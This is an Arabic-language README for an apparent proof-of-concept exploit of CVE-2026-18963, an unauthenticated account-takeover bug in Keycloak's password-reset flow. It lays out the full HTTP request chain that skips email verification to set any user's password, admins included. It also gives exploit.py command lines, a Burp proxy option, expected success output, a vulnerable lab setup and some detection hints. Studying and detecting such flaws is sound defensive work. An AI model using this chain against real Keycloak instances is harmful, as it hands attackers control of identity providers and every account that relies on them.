
استغلال لإثبات المفهوم لثغرة CVE-2026-18963، وهي ثغرة حرجة في تجاوز إعادة تعيين بيانات الاعتماد في Keycloak تتيح الاستيلاء على الحسابات دون مصادقة. يتضمن إعداد المختبر وإرشادات الكشف وخطوات المعالجة للاختبار المصرح به.
الاستيلاء على الحساب دون مصادقة في تدفق إعادة تعيين بيانات الاعتماد في Keycloak. يمكن للمهاجم الذي يعرف فقط اسم المستخدم/البريد الإلكتروني إعادة تعيين كلمة مرور أي مستخدم — بما في ذلك المسؤولين — دون أن يتلقى بريد التحقق على الإطلاق.
نُشر هذا الإثبات العملي بشكل صارم لأغراض تعليمية، والبحث الدفاعي، وهندسة الكشف، واختبار الأمان المصرّح به.
راجع DISCLAIMER.md للاطلاع على البيان الكامل.
| CVE | CVE-2026-18963 |
| الخطورة | حرجة — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| نقطة الضعف | CWE-640 — آلية استرداد كلمة مرور ضعيفة |
| المتأثر | Keycloak < 26.7.2 (المنبع). كما تم إصلاح تدفقات بناء RH عبر حزم 26.6.6 / 26.4.15 |
| المُصلَح | Keycloak 26.7.2 (PR #51844) |
| الشروط المسبقة | تفعيل Forgot password (إعادة تعيين بيانات الاعتماد) على النطاق (realm) — وهو الإعداد الافتراضي |
| التأثير | استيلاء كامل على حساب أي مستخدم (بما في ذلك مسؤولو النطاق) ← اختراق مزوّد الهوية (IdP) + وصول SSO جانبي |
يفرض تدفق إعادة تعيين كلمة المرور (reset-credentials) عادةً النقر على رابط
يُرسل بالبريد الإلكتروني إلى مالك الحساب قبل أن تتمكن من تعيين كلمة مرور جديدة. وتتيح عيبان
للمهاجم تجاوز هذا الفحص بالكامل:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" دون ربطها بمعرّف
التنفيذ (execution ID). إعادة الدخول إلى التدفق تترك جلسة المصادقة في حالة
مشوّشة/قديمة.ResetCredentialEmail.action()
الدالة context.success() دون التحقق من ACTION_TOKEN_USER_ID (أي دون
التأكد من أن رمز الإجراء المُرسل بالبريد قد استُهلك فعليًا).يؤدي تسلسل هذين العيبين إلى دفع جلسة المصادقة مباشرةً إلى
خطوة UPDATE_PASSWORD لمستخدم اعتباطي، دون الحاجة إلى أي بريد إلكتروني.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
راجع docs/ROOTCAUSE.md للاطلاع على فرق التصحيح المشروح.
تحتاج إلى Docker وPython 3 مع requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Expected tail:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
ثم سجّل الدخول باسم victim / Pwned-2026! لتأكيد الاستيلاء.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
تُكتب كل استجابة HTTP إلى ./dump/ للفحص.
يستخدم Keycloak المنفذ 8080 بالفعل، لذا وجّه مستمع Burp إلى منفذ آخر (مثل 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
سلسلة الطلبات الخام لـ Burp Repeater موجودة في
requests/burp-chain.txt.
ابحث عن تغيير لكلمة المرور لم يسبقه التحقق من البريد الإلكتروني في جلسة المصادقة نفسها:
UPDATE_PASSWORD بدون VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN سابق لتلك الجلسة.reset-credentials تحمل tryAnotherWay=on.login-actions/reset-credentials لنفس tab_id.تم التحقق من السلسلة مقابل تصحيح Keycloak العام (PR #51844) والتقارير المجتمعية.
MIT © red-darkin — للاستخدام التعليمي والاختبار المصرح به فقط.